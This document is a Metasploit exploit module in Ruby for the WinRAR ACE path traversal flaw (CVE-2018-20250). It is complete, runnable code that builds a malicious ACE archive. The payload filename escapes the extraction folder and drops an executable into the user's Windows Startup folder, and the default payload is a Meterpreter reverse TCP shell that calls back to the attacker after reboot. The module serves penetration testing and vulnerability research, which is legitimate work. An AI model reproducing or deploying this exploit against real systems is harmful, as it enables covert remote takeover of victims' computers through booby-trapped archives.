RARLAB WinRAR ACE Format Input Validation Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
#  
# TODO: add other non-payload files  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution',  
'Description' => %q{  
In WinRAR versions prior to and including 5.61, there is path traversal vulnerability  
when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename  
field is manipulated with specific patterns, the destination (extraction) folder is  
ignored, thus treating the filename as an absolute path. This module will attempt to  
extract a payload to the startup folder of the current user. It is limited such that  
we can only go back one folder. Therefore, for this exploit to work properly, the user  
must extract the supplied RAR file from one folder within the user profile folder  
(e.g. Desktop or Downloads). User restart is required to gain a shell.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nadav Grossman', # exploit discovery  
'Imran E. Dawoodjee <[email protected]>' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2018-20250'],  
['EDB', '46552'],  
['BID', '106948'],  
['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'],  
['URL', 'https://apidoc.roe.ch/acefile/latest/'],  
['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'],  
],  
'Platform' => 'win',  
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },  
'Targets' =>  
[  
[ 'RARLAB WinRAR <= 5.61', {} ]  
],  
'DisclosureDate' => 'Feb 05 2019',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']),  
OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']),  
OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', ''])  
])  
  
end  
  
def exploit  
ace_header = ""  
# All hex values are already in little endian.  
# HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE.  
# The bogus value for HEAD_CRC will be replaced later.  
ace_header << "AA"  
# HEAD_SIZE: header size. \x31\x00 says 49.  
ace_header << "\x31\x00"  
# HEAD_TYPE: header type. Archive header is 0.  
ace_header << "\x00"  
# HEAD_FLAGS: header flags  
ace_header << "\x00\x90"  
# ACE magic  
ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A"  
# VER_EXTRACT: version needed to extract archive  
ace_header << "\x14"  
# VER_CREATED: version used to create archive  
ace_header << "\x14"  
# HOST_CREATED: host OS for ACE used to create archive  
ace_header << "\x02"  
# VOLUME_NUM: which volume of a multi-volume archive?  
ace_header << "\x00"  
# TIME_CREATED: date and time in MS-DOS format  
ace_header << "\x10\x18\x56\x4E"  
# RESERVED1  
ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00"  
# AV_SIZE: advert size  
ace_header << "\x16"  
# AV: advert which shows if registered/unregistered.  
# Full advert says "*UNREGISTERED VERSION*"  
ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A"  
  
# calculate the CRC32 of ACE header, and get the lower 2 bytes  
ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16)  
ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16)  
ace_header[0,2] = [ace_header_crc16].pack("v")  
  
# start putting the ACE file together  
ace_file = ""  
ace_file << ace_header  
  
# create headers and append file data after header  
unless datastore["FILE_LIST"].empty?  
print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...")  
File.binread(datastore["FILE_LIST"]).each_line do |file|  
file = file.chomp  
file_header_and_data = create_file_header_and_data(file, false, false)  
ace_file << file_header_and_data  
end  
end  
  
# autogenerated payload  
if datastore["CUSTFILE"].empty?  
payload_filename = ""  
# 72 characters  
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"  
# 6 characters  
payload_filename << rand_text_alpha(6)  
# 4 characters  
payload_filename << ".exe"  
payload_file_header = create_file_header_and_data(payload_filename, true, false)  
# user-defined payload  
else  
print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}")  
payload_filename = ""  
# 72 characters  
payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"  
# n characters  
payload_filename << ::File.basename(datastore["CUSTFILE"])  
payload_file_header = create_file_header_and_data(payload_filename, true, true)  
end  
  
vprint_status("Payload filename: #{payload_filename.from(72)}")  
  
# append payload file header and the payload itself into the rest of the data  
ace_file << payload_file_header  
# create the file  
file_create(ace_file)  
end  
  
# The CRC implementation used in ACE does not take the last step in calculating CRC32.  
# That is, it does not flip the bits. Therefore, it can be easily calculated by taking  
# the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to  
# the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so  
# applying a bitwise OR on an integer will produce its negative + 1.  
def crc32(data)  
table = Zlib.crc_table  
crc = 0xffffffff  
data.unpack('C*').each { |b|  
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)  
}  
-(~crc) - 1  
end  
  
# create file headers for each file to put into the output ACE file  
def create_file_header_and_data(path, is_payload, is_custom_payload)  
#print_status("Length of #{path}: #{path.length}")  
if is_payload and is_custom_payload  
file_data = File.binread(path.from(72))  
elsif is_payload and !is_custom_payload  
file_data = generate_payload_exe  
else  
file_data = File.binread(File.basename(path))  
end  
  
file_data_crc32 = crc32(file_data).to_i  
  
# HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE.  
# The bogus value for HEAD_CRC will be replaced later.  
file_header = ""  
file_header << "AA"  
# HEAD_SIZE: file header size.  
if is_payload  
file_header << [31 + path.length].pack("v")  
else  
file_header << [31 + ::File.basename(path).length].pack("v")  
end  
# HEAD_TYPE: header type is 1.  
file_header << "\x01"  
# HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID.  
file_header << "\x01\x80"  
# PACK_SIZE: size when packed.  
file_header << [file_data.length].pack("V")  
#print_status("#{file_data.length}")  
# ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place.  
file_header << [file_data.length].pack("V")  
# FTIME: file date and time in MS-DOS format  
file_header << "\x63\xB0\x55\x4E"  
# ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.  
file_header << "\x20\x00\x00\x00"  
# CRC32: CRC32 of the compressed file  
file_header << [file_data_crc32].pack("V")  
# Compression type  
file_header << "\x00"  
# Compression quality  
file_header << "\x03"  
# Parameter for decompression  
file_header << "\x0A\x00"  
# RESERVED1  
file_header << "\x54\x45"  
# FNAME_SIZE: size of filename string  
if is_payload  
file_header << [path.length].pack("v")  
else  
# print_status("#{::File.basename(path).length}")  
file_header << [::File.basename(path).length].pack("v")  
end  
#file_header << [path.length].pack("v")  
# FNAME: filename string. Empty for now. Fill in later.  
if is_payload  
file_header << path  
else  
file_header << ::File.basename(path)  
end  
  
#print_status("Calculating other_file_header...")  
file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)  
file_header_crc16 = file_header_crc32.last(4).to_i(base=16)  
file_header[0,2] = [file_header_crc16].pack("v")  
file_header << file_data  
end  
end  
`